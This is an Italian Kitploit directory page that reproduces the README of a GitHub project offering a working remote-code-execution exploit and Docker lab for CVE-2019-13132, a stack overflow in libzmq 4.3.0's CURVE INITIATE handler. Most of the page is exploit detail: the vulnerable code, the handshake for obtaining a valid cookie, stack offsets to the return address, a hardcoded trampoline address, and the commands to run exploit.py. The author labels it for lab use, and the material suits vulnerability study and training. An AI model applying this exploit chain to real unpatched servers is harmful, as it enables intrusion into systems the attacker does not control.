Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — overflow dello stack di CURVE INITIATE in libzmq → RCE. Exploit funzionante + lab Docker. | Kitploit
Strumenti/GitHubGitHub/dinosn/cve-2019-13132-lab
Analisi delle VulnerabilitàExploitReverse EngineeringFuzzingApprendimento e FormazioneSviluppo PayloadBinary ExploitationLab e Pratica
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — overflow dello stack di CURVE INITIATE in libzmq → RCE. Exploit funzionante + lab Docker.

Vedi Repository
245 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-13132 — overflow di stack in libzmq CURVE INITIATE → laboratorio RCE

CVE CVSS Affected License

Exploit RCE funzionante end-to-end + laboratorio riproducibile per CVE-2019-13132, un overflow di buffer dello stack nel gestore dell'handshake CURVE INITIATE di libzmq. Un attaccante che conosce la chiave pubblica a lungo termine del server (un parametro pubblico per design) può mandare in overflow un buffer di stack di dimensioni fisse in process_initiate(), sovrascrivere l'indirizzo di ritorno salvato e reindirizzare l'esecuzione a codice arbitrario.

Di Nicolas Krassas (@dinosn).

Solo uso in laboratorio. Questo kit include una libzmq 4.3.0 volutamente vulnerabile con le mitigazioni disabilitate. Non esporre la porta 5556 fuori dal laboratorio. Il bug è stato corretto in libzmq 4.3.2.


Avvio rapido

docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Smoke test automatizzato (esegue l'exploit e verifica il file di prova):

docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Struttura del repository

.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

La vulnerabilità

src/curve_server.cpp:284-336 (libzmq 4.3.0):

if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box è un buffer allocato sullo stack di 416 byte. La memcpy scrive size - 113 byte nella regione payload di 400 byte (offset 16..415). Qualsiasi INITIATE con size > 513 oltrepassa il buffer, raggiungendo i registri del chiamato salvati e l'indirizzo di ritorno.

La verifica del cookie avviene prima dell'overflow, quindi l'INITIATE deve contenere un cookie autentico — ma il cookie si ottiene dal precedente messaggio WELCOME usando solo la chiave pubblica a lungo termine del server.


Catena dell'exploit

1. Handshake CURVE (serve solo la chiave pubblica)

Il protocollo CURVE è progettato in modo che i client possiedano già la chiave pubblica a lungo termine del server (si trova nell'URI di connessione o nella configurazione). L'exploit:

  1. Genera una nuova coppia di chiavi effimere (C', c').
  2. Invia un HELLO valido — il server lo decripta usando C' + la sua chiave segreta.
  3. Riceve WELCOME — lo decripta usando C' + la chiave pubblica del server.
  4. Estrae il cookie da WELCOME.
  5. Invia INITIATE con il cookie autentico + payload fuori misura.
  6. Il cookie viene validato e la memcpy vulnerabile scatta.

Nessuna credenziale a livello applicativo. Nessun bypass dell'autenticazione ZAP. L'overflow scatta durante lo scambio di chiavi CURVE, prima che l'applicazione veda mai il peer.

2. Overflow di stack → sovrascrittura dell'indirizzo di ritorno

process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

L'exploit invia 464 byte di payload: 456 byte di riempimento (0x41) per raggiungere l'indirizzo di ritorno, quindi 8 byte contenenti l'indirizzo di lab_trampoline().

3. Percorso di errore → epilogo → ret → trampoline

Dopo l'overflow, crypto_box_open() fallisce (i dati tracimati sono ciphertext spazzatura). Il percorso di errore registra il fallimento, imposta errno e restituisce -1 — ma il percorso di errore accede solo a posizioni dello stack sotto la regione dell'overflow (RSP+0xe0, RSP+0xf0, RSP+0x280), quindi viene eseguito senza problemi con lo stack corrotto.

L'epilogo della funzione (add $0x628,%rsp; pop rbx-r15; ret) recupera i registri salvati corrotti (ora 0x4141414141414141) e poi ret carica il nostro indirizzo trampoline.

4. Esecuzione del codice

lab_trampoline() usa syscall grezze (niente libc, niente fork()) per scrivere il file di prova:

void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Le syscall grezze vengono usate al posto di system() / fork() perché process_initiate() viene eseguito sul thread I/O di libzmq — chiamare fork() da un thread non principale in un processo multi-thread causa deadlock sui gestori dei lock pthread_atfork di glibc.

Perché serve solo la chiave pubblica

La chiave pubblica a lungo termine del server è un parametro pubblico nel protocollo CurveZMQ — i client devono averla per connettersi. Di solito è distribuita tramite file di configurazione, URI o meccanismi di discovery. L'exploit non richiede materiale segreto.


Risoluzione degli offset

L'exploit richiede due valori:

campovaloreorigine
trampoline_addr0x401206nm server-curve (binario non-PIE, indirizzo fisso)
offset_to_ret456disassemblaggio di process_initiate (0x658 - 0x490)

Entrambi sono hardcoded in exploit.py come valori predefiniti per la build del laboratorio Docker (Debian 12, gcc 12, libzmq 4.3.0). Non serve alcuna fase di calibrazione — basta eseguire l'exploit:

python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Priorità di risoluzione: flag --trampoline/--offset → file --profile → /opt/zmq-curve-rce/profile.json → valori predefiniti.

Perché nessuna impronta runtime?

ZMTP non ha nessuna API di introspezione. Il greeting rivela solo la versione del protocollo (3.x) e il meccanismo (CURVE) — niente sulla build di libzmq, sul compilatore o sul layout del binario. Non esiste un identificatore di build accessibile a runtime che permetterebbe una selezione automatica degli offset contro target sconosciuti.

Scarica lo strumento